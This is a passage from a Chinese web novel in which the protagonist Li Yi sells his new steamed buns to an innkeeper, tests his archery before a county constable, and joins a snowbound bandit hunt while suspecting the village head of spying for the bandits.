“嫂子,你这馒头的卖相,可比我做得还好!这活计以后就真交给你了!”
李逸笑着夸赞,拿起一个馒头掰开,里面的孔洞均匀细密,冒着热气。
白雪儿也跟着用力点头,伸手捏了捏馒头的表皮,软乎乎的像棉花:“是啊是啊!嫂子做的馒头更圆润看着就好吃!”
“来来来,都别站着了,快吃饭!”
李逸和秦心月一起,把木桌搬到木棚里,棚边就是锅灶,余温还没散,又围了这么多人,倒也不觉得冷。
李逸本想邀请陈氏一起上桌吃饭,可她却连连摇头,拿起一个馒头就蹲到墙角。李逸见状也不再勉强,单独给她盛了一小碗菜递过去。
在场众人除了陈氏,都吃过馒头,可再次尝到这松软香甜的口感,依旧忍不住惊叹。
陈氏咬下一口馒头,整个人都愣住了,这是她这辈子吃过最好吃的东西,绵软的口感混着纯粹的麦香,比粗糙的粟米不知强了多少倍,咽下去后喉咙里还留着淡淡的甜味。
而李逸养的豆芽今天是第一次亮相,众人夹起一筷子豆芽配着肉丝送进嘴里,清脆的口感混着淳厚的肉香,让人眼前一亮。
白雪儿吃得连连点头,嘴里不停惊叹:“嗯!好吃!夫君,这豆芽也太好吃了!脆生生的,还带着肉香!”
秦心月脸上也露出了浅浅的笑容,她格外喜欢豆芽的清爽口感,搭配着馒头吃,忍不住多吃了几口。
“豆牙?”
豆子挠着小脑袋,满脸疑惑,实在想不通这东西和豆子的牙有什么关系。
【嗯!真好吃!三叔太厉害了!】
【嗯!真好吃!夫君最厉害了!】
豆子和白雪儿同步的心声在脑海中响起,差点让李逸笑出声来。
张绣娘也吃得十分开心,眉眼弯弯的,眼角虽有淡淡的鱼尾纹,笑起来却别有一番温婉的韵味。她轻轻拍了拍豆子的头,嗔道:“你这憨小子,还以为这是你的牙啊?”
豆子嘿嘿一笑,不再多问,埋头大口吃着馒头和豆芽。
“你们先吃,我去屋里看看玉竹。”
李逸端起两个碗走进屋,一碗装着两个热乎乎的馒头,一碗盛着豆芽炒肉丝,都轻轻放在炕桌上。
“玉竹姑娘,该吃饭了。”
李逸微笑着扶起陈玉竹,在她背后垫了床厚实的棉被,让她能舒服地靠墙坐好,又将炕桌挪到她面前。
第四十七章:期限将至
“玉竹姑娘,来吃点东西,这肯定是你没尝过的新鲜吃食。”
李逸掰开一块冒着热气的馒头,黄白松软的内里泛着淡淡的麦香,他微笑着递到陈玉竹面前。
陈玉竹望着他温和的眉眼,虚弱地摇了摇头:“李大哥,我没有胃口……”
“你这样硬扛着把身体熬坏了,我怎么向陈掌柜交代?”
李逸语气诚恳,带着不容拒绝的坚持:“你既跟我回来,我就有责任将你照顾好。”
一想到爹爹将自己托付给李逸时的嘱托,陈玉竹的眼眶又红了,泪水在眼眶里打转:“李大哥,我爹他……真的没有别的办法了吗?”
“只要你能振作起来,把身体养好,我答应你,过两日我再去县城看看,一定想办法。”李逸放缓了语气,眼底藏着笃定。
“真的?”
深陷无助与绝望的陈玉竹,像是抓住了一根救命稻草,眼中瞬间燃起微光,原本黯淡的眼神亮了起来,紧紧盯着李逸。
李逸郑重点头:“自然是真的,我岂会骗你?不瞒你说,我已经有了些头绪,虽说希望不大但我总要为陈掌柜再拼一把,说不定就能搏出一线生机。”
陈玉竹激动地挣扎着要跪在炕上道谢,李逸连忙伸手扶住她,收起笑容严肃道:
“不过……我有个条件,你必须好好吃饭养身体,这样我才能放心去县城。”
“好!好!我知道了!”陈玉竹连连点头,泪水终于忍不住滑落,这次却是带着希望的泪。
李逸扶着她重新坐好,将掰开的馒头再次递到她嘴边。
陈玉竹张口咬下,松软绵密的口感混着纯粹的麦香在口中散开,瞬间惊艳了她的味蕾,这是她从未尝过的美味。
“李大哥,这是什么吃食?竟如此可口!”她眼中满是惊奇。
“这叫馒头。”李逸笑着指了指旁边的菜碗:“你再尝尝这豆芽炒肉丝,大家都很喜欢吃。”
陈玉竹依言夹了些菜送进嘴里,肉丝的鲜香混着豆芽的清爽,巧妙地中和了肉的油腻,原本沉寂的食欲被瞬间勾动,肚子竟不争气地咕咕叫了起来。
看着她一口馒头一口菜吃得认真,李逸终于松了口气。若是再这样绝食下去,她的身体怕是撑不了多久。
一顿饭下来,陈玉竹吃了整整一个馒头,还吃了小半碗菜,脸上渐渐有了血色,整个人也多了些气力。
先前陈玉竹只从言谈举止猜测李逸的为人,如今亲身感受着他的照顾,才发现他比自己想象中还要可靠。
吃饱喝足,困意袭来,陈玉竹靠在枕头上,很快就沉沉睡了过去,眉头也舒展了不少......
馒头的滋味,大家深有体会,这新鲜吃食若是能卖到县城,一个至少能卖好几钱,比给粟米脱壳赚得快多了,她打心底里佩服李逸的头脑。
短暂休息后,张绣娘便重新回到木棚,继续用石磨研磨小麦粉。
陈氏和秦心月则负责给小麦脱壳,木杵撞击石臼的咚咚声、石磨转动的嗡嗡声交织在一起,当村里大多数人都因严寒天气猫冬不出时,李逸家的小院里依旧热火朝天。
另一边,西凉山十里桦林.....
县尉赵川带着三十个手下在山林外围焦急等待,眉头拧出深深的川字。
昨日派进去探查的斥候至今未归,八成是折在了山里,十天的剿匪期限仅剩四天,到期必须给上面一个交代,县令对此事极为看重,他作为安平县县尉,剿匪本就是他的职责,绝无推诿的余地。
虽县丞张贤私下透口风,说即便期限到了,也有药铺的陈掌柜顶罪,让他无需顾虑,但若能成功剿灭**,必是一件大功!
赵川虽无大才,心气却颇高,觉得用人顶罪这种下策,简直是对他能力的侮辱,连一伙**都对付不了,又谈何守护一县百姓的安危?
从幸存的税粮押送士兵的口中得知,劫掠税粮的**不过十五人左右,他们仗着提前布置的陷阱,打了士兵们一个措手不及。如今躲进西凉山深处,借助复杂地形和层层陷阱,易守难攻。
赵川第一次带兵进山时,还没深入就折损了十几个手下,如今大雪封山,他更是不敢贸然行动。
“县尉大人,不如等些时日,等雪化了再进山?”
一名年轻兵卒缩着脖子提议,寒风刮得他脸颊通红。
赵川脸色一沉,呵斥道:“照你这么说,不如等来年开春?咱们这苦寒之地,山林里的雪不到开春根本化不了!”
一名上了些年岁的老兵犹豫了半天,终于上前一步:“县尉大人,属下有句话,不知当讲不当讲?”
赵川看向他微微点头:“但说无妨。”
“大人,这些**人数不多,若是在开阔地带交战,我们轻易就能将他们拿下。可他们躲进深山老林,借着地形优势设陷阱偷袭,我们才会损失惨重。”
老兵顿了顿,继续说道:“依属下之见,我们得找些熟悉山林地形的老猎手引路,有他们帮忙,定能少些折损。”
赵川眼前一亮!他竟忽略了这一点,之前就是吃了不熟悉地形、遭陷阱埋伏的亏,若是有猎户相助,进山剿匪也并非毫无可能。
“你们两个,速去周边村子寻找猎户!凡是愿意为我们引路者,等抓到**,赏钱三百钱!”赵川当即下令,语气中终于多了几分底气。
夜色渐浓......
李逸家的油灯下,他正加紧赶制**,用鹿筋制作的弓弦虽未达到最佳状态,但勉强能用。他不求这两把弓能长久使用,只要能解决眼下的危机就好。
零散的部件摆在桌上时,秦心月根本看不出是什么东西,可当李逸将所有部件拼装完毕,两把造型奇特的反曲**呈现在眼前时,她眼中满是疑惑。
李逸试着拉动弓弦,确认转轮转动顺滑,弓的拉力也符合预期,相比传统长弓,他拉弓的动作幅度小了很多,还能更平稳地维持蓄势姿势。
传统长弓的弊端很明显,拉弓时手臂需大幅撑开,长时间维持姿势手臂极易发抖,任何细微的抖动都会影响射箭的精度。
而李逸制作的反曲**却完美避开了这一缺陷,只需在拉开的瞬间用些力气,之后维持蓄势状态便无需耗费太多。
“心月,你试试!”李逸将其中一把弓递过去。
秦心月接过弓,轻轻拉动弓弦,瞬间感受到了这把弓的不凡之处。
“夫君,这弓的射程如何……”
李逸自信一笑:“比普通硬木弓远七八成,弓力也更强!百米之内,可精准射杀敌人!”
看着他笃定的神情,秦心月又试着拉了两次,她自幼习武箭术也不错,已然能想象到用这把弓与敌人对射时的优势,射程更远、威力更强、携带方便
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还省力,除非对方箭术超凡,否则必败无疑!
距离县令定下的十日期限仅剩三日,李逸决定明日一早就和秦心月出发去县城。考虑到山林中深厚的积雪,他又连夜缝制了两双厚实的皮靴,靴底缝了防滑的兽皮,保暖又耐磨。
得知二人要去县城想办法救自己爹爹,陈玉竹满眼感激,拉着秦心月的手反复叮嘱:
“李大哥,心月姐姐,你们一定要多加小心!”
白雪儿和于巧倩从二人的对话中隐约听出了端倪,知道他们是打算进山协助官兵抓**,其中凶险不言而喻。
“夫君!你一定要平安回来啊!”白雪儿紧紧拉着李逸的手,眼眶泛红,满脸的担忧。
“放心雪儿,我定会保护好夫君!”秦心月语气笃定,眼中满是决绝。
次日.....天还未亮,夜色依旧浓重,李逸和秦心月就赶着骡车出发了。
考虑到秦心月的敏感身份,李逸为她做了充分的伪装,穿上一件厚实的野猪皮袄,头戴兔皮缝制的皮帽子,故意在脸上抹了些灶灰,再用围脖遮住大半张脸,宽松的皮衣加上束胸,完全掩盖了她的女性特征,只要不开口说话,根本没人会怀疑。
路上积雪虽不算太厚,却给骡车前行带来了不小阻力,大骡子的体力消耗极大,行进速度也慢了些。
这三天里,张绣娘一共蒸出了三百个馒头。若不是担心老面用光影响后续发酵,还能蒸得更多。馒头在院子里放了一夜就冻的硬邦邦的,像块小石头,吃之前只需再蒸片刻,就能恢复刚出锅时的松软口感。
考虑到这一点,李逸特意为王金石制作了两个笼屉,这次一并带上,还有上次没能卖掉的鹿肉,也装在了车上。
因出发得早,正午时分,二人赶到了县城,没做任何耽搁,径直前往王记酒肆。
“李兄弟来啦!快赶车去后院!”伙计丁二远远就看到了骡车,连忙热情招呼。
自从知道李逸有了骡车,王金石就特意叮嘱过,每次都让骡车直接进后院,方便给大骡子添水喂精料。
“李兄弟!一路辛苦!”
王金石从后门迎了出来,搓着冻得发红的手:“快进屋里暖和暖和!”
酒肆内烧着炭盆,暖意融融,喝了杯热茶暖身,李逸从车上搬下一个沉甸甸的布袋,放在桌上发出咚的一声闷响,听起来竟像是装了满袋石头。
“李兄弟,这里面装的啥好东西?”王金石好奇地凑了过来。
李逸笑着卖关子:“是王大哥绝对没吃过的新奇吃食!”
王金石得意地拍了拍自己的大肚皮,语气颇为自豪:
“不是我吹,哥哥我这辈子就好吃,如今连大虫肉都尝过了,还真不信有什么吃食是我没见过的!”
说着,他伸手打开布袋,从里面拿出一个冻硬的馒头,圆滚滚的,白中泛着淡淡的麦黄色。
“唉?这是啥?”王金石拿着馒头翻来覆去地看,实在看不出是什么东西。
李逸笑着介绍:“这叫馒头,用小麦粉做的,制作工序颇为复杂,王大哥你让后厨蒸一下就能吃。”
“哦?还真是我没听过没吃过的新奇玩意儿!”
王金石凑近闻了闻,眼中满是好奇:“闻着确实有股麦香,还带着点甜丝丝的味道。不过这冻得硬邦邦的要怎么蒸啊?难不成直接丢进锅里煮?”
第四十八章:小露锋芒
听王金石说要把馒头丢进锅里煮,李逸脸色一变连忙摆手制止:
“唉?王大哥可使不得!这馒头一煮就散了,非得变成一锅面糊不可!”
他当即领着王金石往后厨走,亲自示范如何使用笼屉,先将笼屉架到锅上,再将冻得硬邦邦的馒头摆在笼屉上,一个个码得整整齐齐间距均匀,确保蒸汽能顺畅流通,还特意叮嘱厨房的伙计:
“火候别烧得太旺,保持水沸而不溢,蒸一刻钟就好。”
伙计连连点头:“好勒,我知道了”
等待馒头复蒸的间隙,李逸收敛了脸上的笑意,神色凝重地问道:
“王大哥,不知赵县尉那边缉拿**的进展如何了?”
王金石端起茶杯抿了一口,眉头瞬间拧成了疙瘩,重重叹了口气:
“唉......哥哥我一直帮你盯着这事呢,托了衙门里的李班头打听,情况可是不太妙啊!
那些匪徒藏进西凉山深处本就难以缉拿,如今又遇大雪封山,更是给搜捕增添了难度啊....”
他放下茶杯,手指无意识地敲击着桌面,语气里满是无奈:
“昨日赵县尉就放出消息,说要寻些厉害的猎户跟着进山剿匪,虽承诺给五百钱的丰厚赏钱,但猎户们一听说要对付的是心狠手辣的**,一个个都缩了脖子,没人敢站出来的。眼看着离十日期限只剩三日,这事……难办啊!唉……”
李逸闻言,眼神瞬间亮了起来。他正愁找不到合适的理由加入剿匪队伍,这机会竟主动送上门来。当即说道:“王大哥!我去!我这次带着兄弟过来,本就是打算帮忙缉拿匪徒的!”
他指了指身旁伪装成男子的秦心月,语气坚定:“玉竹若真成了我的媳妇,陈掌柜便是我的丈人。丈人遭此死劫,我岂能坐视不理!”
王金石沉吟片刻,搓了搓手,脸上满是顾虑:
“话虽如此.....可.....缉拿那些恶匪凶险万分,稍有不慎就会丢了性命!你可得想清楚了啊!”
李逸神色一正,语气加重了三分:“自是想清楚了!在我眼里,这些恶匪和山里的大虫没两样,正好拿他们练练手!”
见李逸如此自信,又想起他猎虎的惊人战绩,寿宴上的虎肉鲜香至今难忘,虎皮更是实打实的凭证,王金石终于点了点头:“成!我这就带你去见赵县尉!他要是知道你能猎杀猛虎,定然乐意让你一同进山!希望你们这次能成功拿下那些恶匪,给陈掌柜洗清冤屈,给安平县消除隐患”
话音刚落,王金石突然抽了抽鼻子,下巴微微抬起.....
作为出了名的吃货,他对美食的嗅觉远超常人,一股浓郁的麦香正从后厨的方向飘来。
“唉?这是什么味道?闻着也太香了!”他满脸诧异,忍不住循着香味往后厨走去。
李逸笑着跟上:“应该是馒头蒸好了,正好尝尝味道。”
“这么快?走走走,快看看!”
王金石迫不及待地加快脚步,肥胖的身躯挪动起来竟十分轻便。
后厨里.....笼屉上的蒸汽像轻纱似的袅袅升腾,白雾缭绕间,麦香愈发淳厚,混着淡淡的发酵甜香,勾得人腹中馋虫直叫。
“快,把笼屉端下来!”王金石催促道。
后厨伙计从没见过这种新奇炊具,正手足无措地站在一旁,闻言连忙小心翼翼地将笼屉搬到案板上,手指被蒸汽烫得微微发麻,却顾不上揉搓。
掀开笼屉上面盖子的瞬间,滚烫的蒸汽裹挟着香甜的麦香扑面而来,冻硬的馒头此刻已变得松软,一个个圆鼓鼓的,表面泛着温润的光泽,和刚放入时判若两物。
李逸拿起一个热乎乎的馒头,掰开成三块,给了王金石一大块,剩下的分给两个后厨伙计。
王金石捏了捏手中的馒头,触感绵软得像刚弹好的棉花,脸上满是动容:
“哎?真软了!刚才还硬邦邦的跟石头似的,这一蒸竟变得这么暄软!有意思!”
他顾不上烫,狠狠咬了一大口。松软的面香在口中炸开,微酸中带着自然的甜意,麦香醇厚绵长,顺着喉咙往下滑,暖烘烘地熨贴着肠胃。
王金石像被定住似的愣在原地,细细咀嚼着,眼神里满是震撼,半晌才发出一声惊叹:“老天爷啊!这馒头也太好吃了吧!比我吃过的所有吃食都可口!”
他转身又从笼屉里抓起一个,大口咬下咀嚼起来。旁边的两个伙计也跟着尝了一口,愣在原地说不出话来,只一个劲地猛点头,眼神里满是惊艳。
看二人又要伸手,王金石瞪了他们一眼,他们才悻悻地收回手,却依旧忍不住偷瞄笼屉,喉结不停滚动。
接连吃了两个馒头,王金石才恋恋不舍地停下,用袖口擦了擦嘴,盯着笼屉里一个个圆鼓鼓的馒头,眼睛笑成了一条缝:
“馒头,馒头,好东西!真是好东西啊!天天吃粟米粥粟米饭,我早就腻了!这馒头我老娘肯定也爱吃,一会给她送些过去!”
王金石转头看向李逸,眼神里满是急切:“李兄弟,这馒头是你做的?”
“是用小麦做的,蒸制的工序比较复杂。”李逸点头,话锋一转:“王大哥觉得这生意怎么样?一个馒头能卖多少钱?”
王金石捏着下巴沉思片刻,算盘在心里飞快打了起来:
“这可是稀罕物,普通百姓定然吃不起,但城里的大户人家和富户不差那几个钱,一个卖八钱十钱绝对没问题!运气好遇上婚宴寿宴,说不定还能卖得更贵啊!”
李逸也心中盘算起来:
一斤小麦在粮店卖三钱多,脱壳磨粉,若要筛出最精细的面粉,出粉率只有五成,这样算下来,一斤精面粉的成本就高达七钱。再加上人工和老面发酵的技术成本,一斤面粉的总成本超过十钱,而一斤面粉大概能做八个馒头,这样算下来,一个馒头的成本要算两钱。
王金石嗅觉敏锐,早已嗅到了其中的巨大商机,连忙问道:
“李兄弟,你一天能做多少个馒头?”
“一天大概能做一百五十个左右。”李逸根据现在的情况回答道,心里却想着等后续老面养得更多,再添置一台石磨,产量还能翻一倍。
王金石眼前一亮,当即拍板:“李兄弟,你这馒头我全收了!按一个六钱的价格收,你看如何?另外再多给我做几个木笼屉,我酒肆里正好能用,以后客人点馒头,当场蒸制更鲜香!”
“好,就依王大哥所言!下次送货时,我给你多带四个笼屉,足够酒肆日常使用。”
李逸爽快应下,他心里清楚,老面发酵的核心技术只有自己掌握,短时间内无人能复刻,王金石就算卖十一二钱一个也有人买,而自己负责从原材料到制作的全部流程,这个价格既合理又能保证盈利。
王金石给李逸结算了这次三百个馒头的铜钱,沉甸甸的铜钱装在布兜里,压得李逸手腕微微发沉。
李逸本想拒绝,毕竟陈玉竹出狱的事多亏了王金石帮忙,理应送他一些。
可王金石坚持道:“买卖是买卖,人情是人情,不能混为一谈!你要是过意不去,以后多给我送些新鲜吃食尝尝就好!”
谈完生意,两人立刻动身前往县衙。
王金石驾着马车载着李逸和秦心月穿行在积雪的街道上,寒风卷着雪沫子打在车帘上,发出簌簌的声响,车轮碾过积雪,留下两道深深的辙印。
此时的县衙内,赵川正焦躁地来回踱步,靴子踩在青砖地上发出沉重的声响,案几上的茶杯早已凉透。
自从昨日下令寻找猎户后,竟无一人响应,眼看着期限越来越近,他心中的火气也越来越旺。
“嘭!”
赵川一拳捶在案几上,面色阴沉得能滴出水来:
“可恶!一个个都贪生怕死!老子剿匪还不是为了安平县的安定!等哪天匪祸临头就知道后悔了!”
“县尉大人,重赏之下必有勇夫,我们不如把赏钱再提高些?”一旁的手下小心翼翼地提议,缩着脖子不敢看他的脸色。
赵川揉了揉发胀的额角,无奈点头:“也只能这样了,再拟一份新的布告,把赏钱提到八百钱!你们去周边村镇多贴几张,务必找到愿意进山的猎户!”
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就在这时,门外传来通报声:“报!县尉大人,王记酒肆的王老板求见,还带了两个猎户打扮的人!”
赵川眼睛一亮,瞬间来了精神,连日来的阴霾一扫而空:“猎户?快!带他们进来!”
片刻后,王金石笑呵呵地走进来:“哎呀,赵县尉,别来无恙啊!冒雪前来叨扰!”
“王店主快请坐!”赵川笑脸相迎,目光却迫不及待地落在他身后的李逸和秦心月身上。
两人一身猎户装扮,李逸穿着厚实的狍皮袄,腰间别着短刀,看起来年纪轻轻,眼神却格外锐利。秦心月则用围脖遮住了大半张脸,只露出一双眼睛,身形略显单薄,怎么看都不像经验老道的猎手。
赵川的眉头不自觉地皱了起来,心中满是失望。
王金石察言观色,立刻看穿了他的心思,笑着上前打圆场:“赵县尉,我听闻你在找猎户进山剿匪,特意把我这李兄弟带来了!你可别瞧他年纪轻,狩猎的本事可是一绝!”
他故意顿了顿,加重语气,引动赵川的兴趣:“不瞒你说,家母寿宴上的虎肉,就是这李兄弟猎到的!那虎肉你也尝过,肉质紧实鲜香,虎皮更是完整无缺,这可做不得假吧!”
“哦?”
赵川眼中的轻视瞬间消散,重新打量起李逸二人,想起上次寿宴上那鲜美的虎肉,心中多了几分信服:“你们二人可知,我找猎户是要做什么?”
李逸上前一步,抱拳行礼,语气沉痛:
“自然知晓,是要进山抓捕劫掠税粮的恶匪!小的最恨这类打家劫舍的匪徒,我的爹娘双亲当年就是死于匪患之手,此仇不共戴天!今日得知县尉大人招募猎户便立刻赶来,只求能亲手除了这些恶贼!”
李逸故意流露出痛恨的神色,拳头攥得咯咯作响,眼中闪过一丝恰到好处的痛楚。
赵川见他情真意切,又有猎虎的战绩,心中已信了大半。但剿匪事关重大,容不得半点马虎,保险起见,他打算先检验一下二人的本事。
“既然如此,你们随我去校场,我要看看你们的箭术如何。进山缉拿恶匪绝非小事,稍有不慎便会葬身山林,箭术不精可不行啊!”
众人随即前往县衙后的校场。冬日的校场被积雪覆盖,只清理出一块空地作为靶场,三十米外的木质箭靶上,还留着之前练兵的箭痕。
赵川随手拿起一张硬木弓,递给李逸:“这是军中常用的硬木弓,你试试。”
他自己先拿起另一张弓,深吸一口气,手臂青筋微露,猛地拉开弓弦,闭上一只眼睛,片刻瞄准后,箭矢“嗖”地射出。
咚的一声,箭矢命中箭靶,却偏了靶心三寸,只命中了箭靶下方的木质部分。
“许久不练,准头都差了。”赵川自嘲地笑了笑,揉了揉发酸的手臂,转头看向李逸:“该你了。”
李逸没有取下身后的**,仓促赶制的弓弦寿命有限,能省则省。
他接过硬木弓,随意拉了两下感受拉力,又拿起一支羽箭,仔细检查了箭杆的直度、箭头的锋利度和箭羽的平衡性,指尖在箭羽上轻轻摩挲。
这副模样落在赵川眼里,难免觉得他在故作姿态,心中又多了几分轻视,眉头微微蹙起。
可下一秒,李逸左手持弓,右手搭箭,手腕轻轻一用力就将弓拉满,几乎没有瞄准的停顿,手指一松,羽箭嗖的一声破风而去,带着尖锐的呼啸声!
咚!一声闷响传来,众人循声望去,只见那支羽箭精准地钉在靶心的黑圈边缘,箭尾还在微微颤动,箭杆与靶面呈垂直状态,可见力道十足。
这般干脆利落的动作,绝非寻常猎户能做到,即便是军中箭术精湛的老兵,也未必能有如此快的出箭速度和准头。
“哈哈哈!李兄弟,好箭法!”王金石率先反应过来,笑着拍手叫好,脸上满是与有荣焉的神色。
赵川眼中闪过一丝惊讶,对李逸的认可度又高了几分,点头赞道:
“不错,准头尚可,出箭速度也快!你身边这位兄弟也来试试?”
李逸转身将硬木弓递给秦心月......
第四十九章:进山剿匪
秦心月接过硬木弓,指尖在箭囊里摩挲片刻,挑出一支羽箭。
她左脚在前稳稳扎根,膝盖微屈下沉,形成标准的弓步,右手拽住弓弦向后猛拉,臂膀肌肉线条绷紧如拉满的钢索,整张弓被拉成规整的满月状。若不是受限于臂长,那架势仿佛能将坚韧的弓身直接拉断。
“好大的力气!”赵川心中惊讶。
指尖骤然松开,羽箭化作一道残影划破空气,咚的一声重重钉在箭靶上,恰好落在李逸方才射出的箭矢旁,间距不足一寸。
这一箭虽同样未正中靶心,但她这一箭的箭头已然穿透靶身,箭尾还在微微震颤,再添几分力道便能射穿而过,余劲更是让木质箭靶嗡嗡作响。
“好!好箭法!”
王金石看得眼睛发亮,连忙拍手叫好,肥厚的手掌拍出响亮的掌声,脸上的肥肉随着动作微微颤动。
赵川站在一旁,眼中闪过难以掩饰的惊喜。
单看这手稳准狠的箭术,就绝非普通猎户所能拥有,他欣喜地一拍大腿,语气振奋:
“好!有你们二人随我进山,此番剿匪我有七成把握,定要将那伙恶匪,一网打尽!”
赵川话音稍顿,抬手按住腰间的佩刀,看向二人问道:“你们还有什么需求或是要准备的东西?若无其他事,事不宜迟,我们即刻出发!”
李逸摩挲着自己弓身的纹路,略一思索道:“我们平日用的都是骨制或石制的箭头,威力不足,这次进山要和恶匪交手,需要你们这种铁制箭头的羽箭。”
“这有何难!我带你们去库房取一批新箭!”
赵川深知箭矢的重要性,干脆利落地应允下来,转身便引着二人往军械库方向走。
“另外,我们还需要白布,越多越好!”李逸快步跟上,补充道。
“白布?何用?”赵川与王金石异口同声地发出疑问,就连身旁的秦心月也转过头,眼中带着几分好奇地看过来,显然没明白这东西在剿匪中能派上什么用场。
李逸解释道:“如今满山积雪,我们身着常服进山,在雪地里目标明显,极易被恶匪在开阔处放冷箭偷袭。但若是披着白布缝制的斗篷,便能与雪地融为一体,正好能骗过他们的眼睛,打他们个措手不及。”
“哎呀!妙啊!李兄弟你这脑子真是灵光!”
王金石虽不懂狩猎剿匪,却也能立刻想到其中的妙处,忍不住竖起大拇指赞叹道。
赵川瞪大双眼,脸上满是懊恼,自己征战多年,竟没想到这等简单有效的伪装之法!
他重重点头:“好办法!事不宜迟,我这就派人去采买白布!”
赵川当即吩咐手下去购置白布,自己则亲自带着李逸和秦心月前往军械库挑选羽箭。二人各自选了三十支铁羽箭,箭杆坚韧,箭头寒光凛冽,装满箭囊挎在肩上,沉甸甸的分量让人安心。
见他们只取了箭矢,赵川好奇地问:“不需要再选一把弓吗?军械库的弓皆是精制的硬木弓,拉力十足,可比你们打猎用的弓要好上不少。”
李逸摇了摇头:“不必了,用惯了自己的弓,顺手些,换了新弓反而影响准头。”
赵川瞥了眼李逸身后用破布包裹的弓,见他态度坚决,便没再多言:“也好,随你们的意。我会多带几把弓和备用箭矢,若是需要随时跟我说。”
半个时辰后,几卷厚实的白布被买了回来。无需前往裁缝铺,李逸找了把剪刀,快速裁剪布料,手指捏着针线翻飞,针脚细密均匀,以惊人的速度缝制成一件带兜帽的白色斗篷,转身递给秦心月,帮她整理了一下兜帽的边缘。
【裁缝熟练度+2】
系统提示音在脑海中响起,李逸未作停留,又迅速为自己缝制了一件。这一手娴熟的针线活,看得赵川与王金石目瞪口呆,没想到李逸竟还有这般手艺。
“哎呀呀……李兄弟你可真是深藏不露,竟还会做针线活!”王金石惊叹不已,脸上满是佩服。
赵川犹豫了片刻,试探着问道:“不知能否也为我们的人制作一些?若是全员伪装,胜算定能再添几分。”
“自然可以。”李逸点头应允:“不过进山人数不宜过多,三十人以内最佳,挑选些身手利索或箭法精湛的士兵即可。人多目标大,反而容易暴露行踪。”
赵川略一思索,也觉得有理,当即拍板:“就按你说的办!我们连夜出发!”
赵川迅速点选了二十八名精锐士兵,二十分钟后,五辆马车先后驶出县城。
车厢内......
李逸借着微弱的光线继续赶制斗篷,指尖翻飞不停,秦心月靠在车厢壁上,稍稍放松了些心神,却依旧警惕地留意着外面的动静。虽李逸早已告知她无需担忧,但面对赵川这等官府中人,她始终保持着几分戒备。
赵川在距离西凉山最近的村子留下了观察哨,确认恶匪并未趁机逃窜。
当晚....他们征用了村里几户农户的院子暂住,给了农户们粟米作为补偿,让他们暂时去其他村民家挤一挤。
得知官兵要进山剿匪,不少村民都围过来看热闹,还有几位寡妇主动前来帮忙做饭。
正热闹间,一个穿着破皮袄、腰间系着麻布腰带的中年男人快步走来,脸上堆着热情的笑容,身后跟着个年轻后生。
“县尉大人驾临寒村,有失远迎!有失远迎啊!”
男人嗓门洪亮,走到赵川面前拱手行礼,正是这村的村正周老实,他眼角的皱纹里似乎都藏着笑意,目光却不着痕迹地扫过李逸和秦心月,又落在马车和其它士兵身上,眼神微微闪烁。
“周村正不必多礼。”赵川摆了摆手,语气随意:“此番进山剿匪,借你们院子暂住一晚,多有叨扰。”
“大人说笑了!剿匪为民,是天大的好事啊!”周老实连忙说道,又转头对围观的村民喊道:“大家都听着,官兵大人为了护我们周全进山除害,我们理当尽一份力帮着做些粥饭。”
喊完这话,粥老实又凑到赵川身边,递上一包旱烟,笑容愈发殷勤:“大人,这是村里自产的旱烟,您尝尝鲜。不知大人打算何时进山?需要我们村里的后生带路吗?。”
李逸不动声色地观察着他,发现周老实看似热情,问话却句句都在打探关键信息。他悄悄用胳膊肘碰了碰秦心月,二人交换了一个眼神,都从对方眼中看到了警惕。
“出发时间尚不确定,等明日探查清楚再说。”赵川并未多想,接过旱烟塞进口袋:“带路就不必了,军中自有向导。”
“也是也是,官兵大人办事,我们放心!”
周老实笑着应和,目光又扫过正在忙碌的士兵,看似无意地问道:“不知此次进山有多少弟兄?装备都齐全吗?前几次官兵进山,听说都遇到了埋伏,大人可要多加小心啊。”
李逸上前一步,故意打断他的话:“村正大人,不知能否借些针线?我们还需赶制些御寒的衣物,明日进山也好应对严寒。”
周老实被打断问话,脸上的笑容僵了一下,随即又恢复如常:“有有有!我这就让人去取!”他转身吩咐身后的后生去拿针线。
李逸看着他的背影,眉头微蹙。这村正看似老实巴交,实则心思缜密,打探口风的手段毫不掩饰,多半是恶匪安插在村里的眼线。
院子里架起两口大锅,一口煮着粘稠的粟米粥,热气腾腾。另一口锅里飘出浓郁的羊肉香,不知是从何处弄来的食材。
周老实很快带着针线回来,还亲自端了两碗热水递给李逸和秦心月:“两位猎户兄弟,一路辛苦,喝点热水暖暖身子。不知你们是哪个山头的猎户?以前怎么没见过你们?”
“我们是隔壁村来的,听闻西凉山猎物多,特意过来碰碰运气,恰好遇到官兵大人剿匪,便来搭把手。”李逸接过热茶,语气平淡地应付着,刻意避开了关键信息。
“原来如此!”周老实点了点头,又问道:“那你们对西凉山的地形熟悉吗?需不需要村里的人带路啊?那伙恶匪狡猾得很,可不能掉以轻心。”
“多谢村正关心,我们常年打猎,辨路的本事还是有的。”李逸微笑拒绝。
说罢,他转身走向灶台,却在路过马车门时,故意放慢了脚步,用眼角的余光瞥向车厢,见李逸过来才快步离开。
“这村子里有眼线,这村正嫌疑最大。”秦心月紧挨着李逸坐下,用极低的声音说道。
李逸点了点头,并不意外。这村里的百姓脸上,并未表现出对恶匪应有的痛恨与恐惧,反倒带着几分疏离的平静。村子紧挨着西凉山,就在匪巢门口。虽说兔子不吃窝边草,但那伙**显然毫无底线。更何况官兵屡次进山剿匪均
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以失败告终,此事本就疑点重重。
“不用理会,装作毫不知情即可。”李逸压低声音回应,“赵川多次进山都未能发现异常,我们二人刚到便察觉端倪,难免会引起对方怀疑。毕竟我们此刻的身份是猎户,若是展现出超出猎户范畴的洞察力,反倒显得不正常。”
如此一来,官兵屡次失败的原因便彻底清晰了。那些士兵言行毫无避讳,目光直勾勾地盯着几位有几分姿色的村妇,嘴上更是口无遮拦,剿匪计划尚未实施,便已泄露给了山里的恶匪。再加上周老实这等眼线传递消息,对方提前布置陷阱,利用易守难攻的地形以逸待劳,自然能做到百战百胜。
好在李逸并未将斗篷分发下去,那些半成品仍藏在马车内,尚未暴露。
众人简单吃了些东西,留下几名士兵守夜,其他人便各自歇息。李逸和秦心月提出要睡在马车内,赵川并未拒绝。
待夜深人静时,秦心月趁守夜士兵换岗的间隙悄悄下车,一个时辰后,她带着一身刺骨的寒气回到车厢。
“有人趁黑往山里去了,看身形像是周村正身边的那个后生”秦心月搓了搓冻得发僵的双手,语气凝重。
李逸皱眉思索片刻。这与狩猎猛兽的道理相通,在没有十足把握时,需以智取为主。但前提是赵川并非愚蠢自大之人,否则他们就得重新谋划。
